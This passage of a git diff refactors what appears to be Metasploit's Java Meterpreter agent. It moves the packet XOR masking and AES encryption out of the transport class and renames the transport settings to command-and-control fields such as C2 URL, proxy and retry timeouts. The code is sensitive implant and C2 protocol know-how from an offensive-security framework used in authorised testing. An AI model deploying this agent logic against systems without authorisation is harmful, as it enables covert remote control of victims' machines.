java.net.SocketTimeoutException; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.command.Command; import com.metasploit.stage.TransportConfig; @@ -102,8 +104,8 @@ public void bind(DataInputStream in, OutputStream rawOut) { } @Override - public boolean switchUri(String uri) { - // tcp transports don't support URL switching + public boolean patchUuid(String uuid) { + // TCP transports don't support UUID switching return false; } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java index 948e90970..2d6182c10 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java @@ -1,25 +1,15 @@ package com.metasploit.meterpreter; +import com.metasploit.TLVPacket; import com.metasploit.stage.TransportConfig; -import java.io.ByteArrayInputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.OutputStream; import java.io.IOException; -import java.security.SecureRandom; -import javax.crypto.spec.IvParameterSpec; -import javax.crypto.spec.SecretKeySpec; -import javax.crypto.Cipher; - public abstract class Transport { public static final long MS = 1000L; - public static final int ENC_NONE = 0; - public static final int ENC_AES256 = 1; - public static final int ENC_AES128 = 2; - - private static final SecureRandom sr = new SecureRandom(); private Transport prev; private Transport next; @@ -39,7 +29,7 @@ public abstract class Transport { public abstract boolean dispatch(Meterpreter met); public abstract void writePacket(TLVPacket packet, int type) throws IOException; public abstract TLVPacket readPacket() throws IOException; - public abstract boolean switchUri(String uri); + public abstract boolean patchUuid(String uuid); protected Transport(Meterpreter met, String url) { this.meterpreter = met; @@ -53,153 +43,19 @@ protected void setTimeouts(TransportConfig transportConfig) { this.retryWait = transportConfig.retry_wait; } - protected void arrayCopy(byte[] src, int srcOffset, byte[] dest, int destOffset, int count) { - if (count >= 0) { - System.arraycopy(src, srcOffset + 0, dest, destOffset + 0, count); - } - } - - protected void writeInt(byte[] dest, int offset, int value) { - dest[offset] = (byte)((value >> 24) & 0xFF); - dest[offset + 1] = (byte)((value >> 16) & 0xFF); - dest[offset + 2] = (byte)((value >> 8) & 0xFF); - dest[offset + 3] = (byte)(value & 0xFF); - } - - protected int readInt(byte[] source, int offset) { - return (0xFF & source[offset]) << 24 | - (0xFF & source[1 + offset]) << 16 | - (0xFF & source[2 + offset]) << 8 | - (0xFF & source[3 + offset]); - } - protected TLVPacket readAndDecodePacket(DataInputStream in) throws IOException { - byte[] header = new byte[32]; - in.readFully(header); - byte[] clonedHeader = header.clone(); - - byte[] xorKey = new byte[4]; - this.arrayCopy(header, 0, xorKey, 0, 4); - - // XOR the whole header first - this.xorBytes(xorKey, header); - - // extract the length - int bodyLen = this.readInt(header, 24) - 8; - - byte[] body = new byte[bodyLen]; - in.readFully(body); - - // create a complete packet and xor the whole thing. We do this becauase we can't - // be sure that the content of the body is 4-byte aligned with the xor key, so we - // do the whole lot to make sure it behaves - byte[] packet = new byte[clonedHeader.length + body.length]; - this.arrayCopy(clonedHeader, 0, packet, 0, clonedHeader.length); - this.arrayCopy(body, 0, packet, clonedHeader.length, body.length); - this.xorBytes(xorKey, packet); - - this.arrayCopy(packet, 32, body, 0, body.length); - int encFlag = this.readInt(packet, 20); - if (encFlag != ENC_NONE && this.aesKey != null) { - try - { - body = aesDecrypt(body); - } - catch(Exception e) - { - // if things go back we're basically screwed. - return null; - } - } - - ByteArrayInputStream byteStream = new ByteArrayInputStream(body, 0, body.length); - DataInputStream inputStream = new DataInputStream(byteStream); - TLVPacket tlvPacket = new TLVPacket(inputStream, body.length); - inputStream.close(); - - return tlvPacket; - } - - protected byte[] aesDecrypt(byte[] data) throws Exception { - byte[] iv = new byte[16]; - byte[] encrypted = new byte[data.length - iv.length]; - this.arrayCopy(data, 0, iv, 0, iv.length); - this.arrayCopy(data, iv.length, encrypted, 0, encrypted.length); - - IvParameterSpec ivSpec = new IvParameterSpec(iv); - SecretKeySpec keySpec = new SecretKeySpec(this.aesKey, "AES"); - Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); - synchronized(cipher) { - cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec); - return cipher.doFinal(encrypted); - } - } - - protected byte[] aesEncrypt(byte[] data) throws Exception { - byte[] iv = new byte[16]; - sr.nextBytes(iv); - - byte[] encrypted = null; - IvParameterSpec ivSpec = new IvParameterSpec(iv); - SecretKeySpec keySpec = new SecretKeySpec(this.aesKey, "AES"); - Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); - synchronized(cipher) { - cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec); - encrypted = cipher.doFinal(data); - } - - data = new byte[encrypted.length + iv.length]; - this.arrayCopy(iv, 0, data, 0, iv.length); - this.arrayCopy(encrypted, 0, data, iv.length, encrypted.length); - return data; + return TLVPacket.fromEncoded(in, this.aesKey); } protected void encodePacketAndWrite(TLVPacket tlvPacket, int type, DataOutputStream out) throws IOException { - byte[] data = tlvPacket.toByteArray(); - - int encType = ENC_NONE; - if (this.aesKey != null) { - try - { - if (this.aesEnabled) { - encType = (this.aesKey.length == 32 ? ENC_AES256 : ENC_AES128); - data = aesEncrypt(data); - } - else - { - // enabled it after the response packet goes out - this.aesEnabled = true; - } - } - catch(Exception e) - { - // if things fail during encryption, should we - // just fallback to plain? Or terminate? - this.aesEnabled = false; - this.aesKey = null; - } + byte[] packet; + if (this.aesKey != null && this.aesEnabled) { + packet = tlvPacket.toEncoded(type, this.aesKey, this.meterpreter.getSessionGUID()); + } else { + this.aesEnabled = (this.aesKey != null); // enabled it after the response packet goes out + packet = tlvPacket.toEncoded(type, null, this.meterpreter.getSessionGUID()); } - byte[] packet = new byte[32 + data.length]; - randXorKey(packet, 0); - - // Include the session guid in the outgoing message - byte[] sessionGUID = this.meterpreter.getSessionGUID(); - this.arrayCopy(sessionGUID, 0, packet, 4, sessionGUID.length); - - // We don't currently support encryption - this.writeInt(packet, 20, encType); - - // Write the length/type - this.writeInt(packet, 24, data.length + 8); - this.writeInt(packet, 28, type); - - // finally write the data - this.arrayCopy(data, 0, packet, 32, data.length); - - // Xor the packet bytes - this.xorBytes(packet, packet, 4); - // send it! synchronized (out) { out.write(packet); @@ -207,28 +63,6 @@ protected void encodePacketAndWrite(TLVPacket tlvPacket, int type, DataOutputStr } } - private void randXorKey(byte[] dest, int offset) { - dest[offset] = randByte(); - dest[offset + 1] = randByte(); - dest[offset + 2] = randByte(); - dest[offset + 3] = randByte(); - } - - private byte randByte() { - // Forces a random number between 1 and 255 _inclusive_ - return (byte)(0xFF & (int)((Math.random() * 255) + 1)); - } - - private void xorBytes(byte[] xorKey, byte[] bytes) { - this.xorBytes(xorKey, bytes, 0); - } - - private void xorBytes(byte[] xorKey, byte[] bytes, int offset) { - for (int i = 0; i < bytes.length - offset; ++i) { - bytes[i + offset] ^= xorKey[i % 4]; - } - } - public void setAesEncryptionKey(byte[] aesKey) { this.aesKey = aesKey; this.aesEnabled = false; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/Command.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/Command.java index 7e965b6e7..a234b54aa 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/Command.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/Command.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.command; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.CommandManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; /** * A command that can be executed inside meterpreter. Each command has a name and can be registered using the {@link CommandManager#registerCommand(int commandId, Class commandClass)} command. diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/CommandId.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/CommandId.java index fa678adcf..1dd301abd 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/CommandId.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/CommandId.java @@ -22,7 +22,7 @@ public interface CommandId { public static final int CORE_MIGRATE = 14; public static final int CORE_NATIVE_ARCH = 15; public static final int CORE_NEGOTIATE_TLV_ENCRYPTION = 16; - public static final int CORE_PATCH_URL = 17; + public static final int CORE_PATCH_UUID = 17; public static final int CORE_PIVOT_ADD = 18; public static final int CORE_PIVOT_REMOVE = 19; public static final int CORE_PIVOT_SESSION_DIED = 20; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/NotYetImplementedCommand.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/NotYetImplementedCommand.java index e72743b71..aaae504a5 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/NotYetImplementedCommand.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/NotYetImplementedCommand.java @@ -5,9 +5,9 @@ import java.util.Iterator; import java.util.Map; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; /** * A command that represents a command that is not yet implemented. It will dump the complete request packet to the error stream and return {@link Command#ERROR_FAILURE}. diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/UnsupportedJavaVersionCommand.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/UnsupportedJavaVersionCommand.java index 3839ecc9d..e0612466c 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/UnsupportedJavaVersionCommand.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/UnsupportedJavaVersionCommand.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.command; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.ExtensionLoader; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; /** * A command that represents a command that is implemented, but not for the current Java version. diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/Loader.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/Loader.java index 66a79ddfc..38910472c 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/Loader.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/Loader.java @@ -23,7 +23,7 @@ public void load(CommandManager mgr) throws Exception { mgr.registerCommand(CommandId.CORE_MACHINE_ID, core_machine_id.class); mgr.registerCommand(CommandId.CORE_GET_SESSION_GUID, core_get_session_guid.class); mgr.registerCommand(CommandId.CORE_SET_SESSION_GUID, core_set_session_guid.class); - mgr.registerCommand(CommandId.CORE_PATCH_URL, core_patch_url.class); + mgr.registerCommand(CommandId.CORE_PATCH_UUID, core_patch_uuid.class); mgr.registerCommand(CommandId.CORE_SHUTDOWN, core_shutdown.class); mgr.registerCommand(CommandId.CORE_TRANSPORT_SET_TIMEOUTS, core_transport_set_timeouts.class); mgr.registerCommand(CommandId.CORE_TRANSPORT_LIST, core_transport_list.class); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_close.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_close.java index 276570e1f..439dda403 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_close.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_close.java @@ -1,9 +1,9 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_channel_close implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_eof.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_eof.java index 4f7dcbe2a..bdbede8ba 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_eof.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_eof.java @@ -1,9 +1,9 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_channel_eof implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_interact.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_interact.java index 054ce8bd3..94e544ce1 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_interact.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_interact.java @@ -1,9 +1,9 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_channel_interact implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_read.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_read.java index 4f12973c0..255932f41 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_read.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_read.java @@ -1,9 +1,9 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_channel_read implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_write.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_write.java index e523c224b..fc62d09ca 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_write.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_write.java @@ -1,9 +1,9 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_channel_write implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_enumextcmd.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_enumextcmd.java index 0a5768dd6..b45191736 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_enumextcmd.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_enumextcmd.java @@ -1,9 +1,9 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.CommandManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_enumextcmd implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_get_session_guid.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_get_session_guid.java index dae192f1c..741f7fd2e 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_get_session_guid.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_get_session_guid.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_get_session_guid implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_loadlib.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_loadlib.java index 4308ab8e4..35b225269 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_loadlib.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_loadlib.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_loadlib implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_machine_id.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_machine_id.java index 4e171b4cb..7f7eee8f2 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_machine_id.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_machine_id.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Utils; import com.metasploit.meterpreter.command.Command; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_native_arch.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_native_arch.java index 04e956274..c7d4eb589 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_native_arch.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_native_arch.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Utils; import com.metasploit.meterpreter.command.Command; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java index 9492f082a..8fc6cf1e3 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java @@ -6,10 +6,10 @@ import java.security.spec.X509EncodedKeySpec; import javax.crypto.Cipher; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Transport; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_negotiate_tlv_encryption implements Command { @@ -21,10 +21,10 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons int encType; byte[] aesKey; if (Cipher.getMaxAllowedKeyLength("AES") < 256) { - encType = Transport.ENC_AES128; + encType = TLVPacket.ENC_AES128; aesKey = new byte[16]; } else { - encType = Transport.ENC_AES256; + encType = TLVPacket.ENC_AES256; aesKey = new byte[32]; } sr.nextBytes(aesKey); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_uuid.java similarity index 54% rename from java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java rename to java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_uuid.java index 9f628fb14..f5dbd4ab9 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_uuid.java @@ -1,15 +1,15 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; -public class core_patch_url implements Command { +public class core_patch_uuid implements Command { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { - String patchUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL); - if (meterpreter.getTransports().current().switchUri(patchUrl)) { + String patchUuid = request.getStringValue(TLVType.TLV_TYPE_C2_UUID); + if (meterpreter.getTransports().current().patchUuid(patchUuid)) { return EXIT_DISPATCH; } else { return ERROR_FAILURE; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_session_guid.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_session_guid.java index 057ce6065..da7953c19 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_session_guid.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_session_guid.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_set_session_guid implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_uuid.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_uuid.java index 63d5aa4e9..bdf481445 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_uuid.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_uuid.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_set_uuid implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_shutdown.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_shutdown.java index 686f7687f..684f4e773 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_shutdown.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_shutdown.java @@ -1,7 +1,7 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class core_shutdown implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java index 43e6b534e..d18d4411b 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Transport; import com.metasploit.meterpreter.TcpTransport; import com.metasploit.meterpreter.HttpTransport; @@ -12,7 +12,7 @@ public class core_transport_add implements Command { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { Transport t = null; - String transportUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL); + String transportUrl = request.getStringValue(TLVType.TLV_TYPE_C2_URL); if (transportUrl.startsWith("tcp")) { t = new TcpTransport(meterpreter, transportUrl); @@ -20,26 +20,26 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons HttpTransport h = new HttpTransport(meterpreter, transportUrl); // do the HTTP specific stuff here, since we know what we are - h.setUserAgent(request.getStringValue(TLVType.TLV_TYPE_TRANS_UA, "")); - h.setProxy(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_HOST, "")); - h.setProxyUser(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_USER, "")); - h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_PASS, "")); - h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_TRANS_CERT_HASH, null)); + h.setUserAgent(request.getStringValue(TLVType.TLV_TYPE_C2_UA, "")); + h.setProxyUrl(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL, "")); + h.setProxyUser(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_USER, "")); + h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, "")); + h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, null)); t = h; } // set the timeouts, defaulting the values that are currently set - // for the current sesion if nothing has been specified + // for the current session if nothing has been specified try { - long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_TRANS_SESSION_EXP); + long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_SESSION_EXPIRY); meterpreter.setExpiry(sessionExpiry); } catch (IllegalArgumentException ignored) { } try { - long commTimeout = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT); + long commTimeout = request.getIntValue(TLVType.TLV_TYPE_C2_COMM_TIMEOUT); t.setCommTimeout(commTimeout); } catch (IllegalArgumentException ex) { @@ -47,7 +47,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons } try { - long retryTotal = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL); + long retryTotal = request.getIntValue(TLVType.TLV_TYPE_C2_RETRY_TOTAL); t.setRetryTotal(retryTotal); } catch (IllegalArgumentException ex) { @@ -55,7 +55,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons } try { - long retryWait = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT); + long retryWait = request.getIntValue(TLVType.TLV_TYPE_C2_RETRY_WAIT); t.setRetryWait(retryWait); } catch (IllegalArgumentException ex) { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_change.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_change.java index 9af9aa28b..aceeaaf4b 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_change.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_change.java @@ -1,7 +1,7 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; public class core_transport_change extends core_transport_add { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java index e8055c42d..a0cdc9f91 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Transport; import com.metasploit.meterpreter.HttpTransport; import com.metasploit.meterpreter.command.Command; @@ -14,45 +14,45 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons Transport t = first; // add the session expiry - response.add(TLVType.TLV_TYPE_TRANS_SESSION_EXP, (int)meterpreter.getExpiry()); + response.add(TLVType.TLV_TYPE_SESSION_EXPIRY, (int)meterpreter.getExpiry()); do { TLVPacket transportData = new TLVPacket(); - transportData.add(TLVType.TLV_TYPE_TRANS_URL, t.getUrl()); - transportData.add(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT, (int)t.getCommTimeout()); - transportData.add(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, (int)t.getRetryTotal()); - transportData.add(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, (int)t.getRetryWait()); + transportData.add(TLVType.TLV_TYPE_C2_URL, t.getUrl()); + transportData.add(TLVType.TLV_TYPE_C2_COMM_TIMEOUT, (int)t.getCommTimeout()); + transportData.add(TLVType.TLV_TYPE_C2_RETRY_TOTAL, (int)t.getRetryTotal()); + transportData.add(TLVType.TLV_TYPE_C2_RETRY_WAIT, (int)t.getRetryWait()); if (t instanceof HttpTransport) { HttpTransport h = (HttpTransport)t; if (h.getUserAgent().length() > 0) { - 